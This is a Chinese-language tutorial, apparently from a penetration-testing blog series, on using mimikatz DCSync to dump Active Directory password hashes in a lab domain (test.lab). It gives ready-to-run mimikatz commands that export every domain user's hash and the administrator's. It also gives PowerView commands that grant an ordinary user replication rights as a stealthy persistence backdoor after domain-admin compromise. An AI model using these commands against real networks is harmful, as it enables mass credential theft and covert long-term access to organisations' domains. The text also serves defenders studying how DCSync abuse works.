目录
上一篇我们介绍了使用黄金票据与白银票据进行权限维持—> 域环境权限维持之黄金、白银票据,接下来介绍利用Dcsync进行域内权限维持。DCSync是mimikatz的一个功能,能够模拟域控制器并从域控制器导出帐户密码hash
Dcsync
在域环境中,不同域控制器(DC)之间,每 15 分钟都会有一次域数据的同步。当一个域控制器(DC 1)想从其他域控制器(DC2)获取数据时,DC 1 会向 DC 2 发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。
DCSync 就是利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口向域控发起数据同步请求。
新版本的 Mimikatz新增加了 DCSync 功能。该功能可以模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希。该功能最大的特点就是可以实现不登录到域控而获取域控上的数据
当获得了域内管理员权限,如果能修改域内普通用户的权限,使其具有DCSync权限的话,那么普通域用户也能导出域内用户的哈希,这样可以做一个隐蔽的权限维持。默认只有域控主机账号和域管理员能Dcsync,域管和邮件服务器的机器账号有写ACL的权限,可以给指定用户添加Dcsync来dump域哈希。
一、Dcsync导出域用户Hash
导出域用户hash,需获取以下任意用户的权限:
- Administrators组内的用户
- Domain Admins组内的用户
- Enterprise Admins组内的用户
- 域控制器的计算机帐户
因为域管理员在Domain Admins组内,所以可以导出域内所有域用户的hash。在win2012上操作:
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:test.lab /all /csv"
导出administrator用户的Hash,即域控账号的hash
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:test.lab /user:administrator"
二、利用Dcsync进行域内权限维持
获得以下任一用户的权限:
- Domain Admins组内的用户
- Enterprise Admins组内的用户
环境:
- 域控 192.168.10.2
- 域普通机器:win7
- 域管理员机器:win2012
假设我们获取了域管理员win2012的机器及域普通机器win7,现在通过在win2012上添加ACE实现win7导出域控hash的能力。
DCsync是几个权限的集合体,如果使其具有DCSync权限的话,可以使用powerview.ps1向域内普通用户添加如下三条ACE(Access Control Entries):
DS-Replication-Get-Changes—>(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes-All—>(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes—>(GUID:89e95b76-444d-4c62-991a-0facbeda640c)
1. 在域管用户win2012机器上给域普通用户yuwin7添加以上三条ACE
#添加ACE
powershell -exec bypass
import-module .\PowerView.ps1;Add-DomainObjectAcl -TargetIdentity “DC=test,DC=lab” -PrincipalIdentity yuwin7 -Rights DCSync -Verbose
#使用完后可以删除ACE
Remove-DomainObjectAcl -TargetIdentity “DC=test,DC=lab” -PrincipalIdentity yuwin7 -Rights DCSync -Verbose
2. 未加ACE之前,win7导出域内所有hash,是导不出的。加了ACE之后成功导出域内所有哈希
ps: 只能导出hash,不能执行像 dir以及psexec连接这样的操作
总结
当我们获取了域管理员权限,利用Dcsync我们能实现使用普通域用户远程导出所有域内用户hash的能力,进而实现隐蔽的权限维持。